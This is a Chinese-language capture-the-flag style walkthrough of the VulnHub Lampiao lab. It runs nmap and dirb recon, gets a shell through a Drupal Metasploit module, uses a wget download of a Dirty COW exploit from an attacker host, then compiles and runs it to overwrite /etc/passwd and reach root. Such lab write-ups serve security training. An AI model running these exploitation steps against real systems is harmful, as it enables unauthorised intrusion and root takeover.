类OSCP 靶机分享 – Lampiao – 作者:Joker12138_bak

靶机来自 https://www.vulnhub.com/

靶机下载：https://download.vulnhub.com/lampiao/Lampiao.zip

信息收集

root@kali:~# nmap -sS -p-  10.10.10.128
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-10 09:21 EDT
Nmap scan report for 10.10.10.128
Host is up (0.0014s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1898/tcp open  cymtec-port
7 (VMware)MAC Address: 00:0C:29:F1:26:4
Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds

root@kali:~# nmap -p 22,80,1898 -A --version-all -T 5 10.10.10.128
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-10 09:23 EDT
Nmap scan report for 10.10.10.128
Host is up (0.00060s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
| fingerprint-strings: 
|   NULL: 
|     _____ _ _ 
|     |_|/ ___ ___ __ _ ___ _ _ 
|     \x20| __/ (_| __ \x20|_| |_ 
|     ___/ __| |___/ ___|__,_|___/__, ( ) 
|     |___/ 
|     ______ _ _ _ 
|     ___(_) | | | |
|     \x20/ _` | / _ / _` | | | |/ _` | |
|_    __,_|__,_|_| |_|
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampi\xC3\xA3o
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=9%D=6/10%Time=5EE0DEB6%P=x86_64-pc-linux-gnu%r(NULL
SF:,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\(\x
SF:20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\x20
SF:__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_`\
SF:x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\
SF:|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\__\x
SF:20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\|
SF:\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x20\x
SF:20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|\n\
SF:|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x20_
SF:_\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x20\
SF:x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\x20
SF:_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x20\x
SF:20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|\x2
SF:0\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x20\|
SF:_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\__
SF:,_\|_\|\x20\|_\|");
MAC Address: 00:0C:29:F1:26:47 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.60 ms 10.10.10.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.20 seconds80端口其实没有啥东西，扫目录啥都扫不到，只有个静态页面。主要的web服务在1898端口。
扫描1898端口：

80端口其实没有啥东西，扫目录啥都扫不到，只有个静态页面。主要的web服务在1898端口。

扫描1898端口：

root@kali:~# dirb http://10.10.10.128:1898

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jun 10 09:25:07 2020
URL_BASE: http://10.10.10.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.128:1898/ ----
==> DIRECTORY: http://10.10.10.128:1898/includes/                                                                                                                        
+ http://10.10.10.128:1898/index.php (CODE:200|SIZE:11400)                                                                                                               
==> DIRECTORY: http://10.10.10.128:1898/misc/                                                                                                                            
==> DIRECTORY: http://10.10.10.128:1898/modules/                                                                                                                         
==> DIRECTORY: http://10.10.10.128:1898/profiles/                                                                                                                        
+ http://10.10.10.128:1898/robots.txt (CODE:200|SIZE:2189)                                                                                                               
==> DIRECTORY: http://10.10.10.128:1898/scripts/                                                                                                                         
+ http://10.10.10.128:1898/server-status (CODE:403|SIZE:294)                                                                                                             
==> DIRECTORY: http://10.10.10.128:1898/sites/                                                                                                                           
==> DIRECTORY: http://10.10.10.128:1898/themes/                                                                                                                          
+ http://10.10.10.128:1898/web.config (CODE:200|SIZE:2200)                                                                                                               
+ http://10.10.10.128:1898/xmlrpc.php (CODE:200|SIZE:42)                                                                                                                 
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                         
---- Entering directory: http://10.10.10.128:1898/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Jun 10 09:25:12 2020
DOWNLOADED: 4612 - FOUND: 5

可以挨个打开看看，然后找到这样一个minimal.info文件在http://10.10.10.128:1898/profiles/，这里面包含了webCMS的版本信息。

我们可以搜索一下有没有对应的漏洞

searchsploit Drupal

漏洞还挺多，我们可以进MSF中尝试利用，MSF中可以找到不少利用模块，图中标注的可以直接getshell

配置参数如下：

此时我们拿到了www-data的权限。下一步就是需要提权。

提权

我们首先将拿到的shell提升成全交互式的shell，提升shell的方法有很多，这里有个国外大佬的link，可以参考下

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

我这里用的是这条命令：

python -c ‘import pty; pty.spawn(“/bin/bash”)’

提升完成之后更方便我们操作，这里提供一个Linux 提权脚本，这个脚本可以自动检测可以用于当前环境的提权漏洞

https://github.com/mzet-/linux-exploit-suggester

最后找到了这个提权漏洞

https://www.exploit-db.com/exploits/40847

首先将漏洞代码下载到目标靶机：

wget http://10.10.10.131/40847.cpp            
--2020-06-10 14:44:02--  http://10.10.10.131/40847.cpp
Connecting to 10.10.10.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10531 (10K) [text/x-c++src]
Saving to: '40847.cpp'

     0K ..........                                            100% 74.9M=0s

2020-06-10 14:44:02 (74.9 MB/s) - '40847.cpp' saved [10531/10531]

然后编译提权

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
40871.c
44298.c
dcow
exp
expoit
les.sh
./dcow -s 
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )
Error getting terminal attributes.
terminate called after throwing an instance of 'std::exception*'
Aborted (core dumped)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@lampiao:/tmp$ ls
ls
40847.cpp  40871.c  44298.c  dcow  exp  expoit  les.sh
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)

在每个提权脚本的前几行都会有怎么编译，需要关注哪些内容，可以多看看脚本的前几行，一般用注释会有写出来。

拿到root权限之后，我们可以找到最后的flag.txt

root@lampiao:~# cat flag.txt
cat flag.txt
9740616875908d91ddcdaa8aea3af366

来源：freebuf.com 2020-08-20 16:11:16 by: Joker12138_bak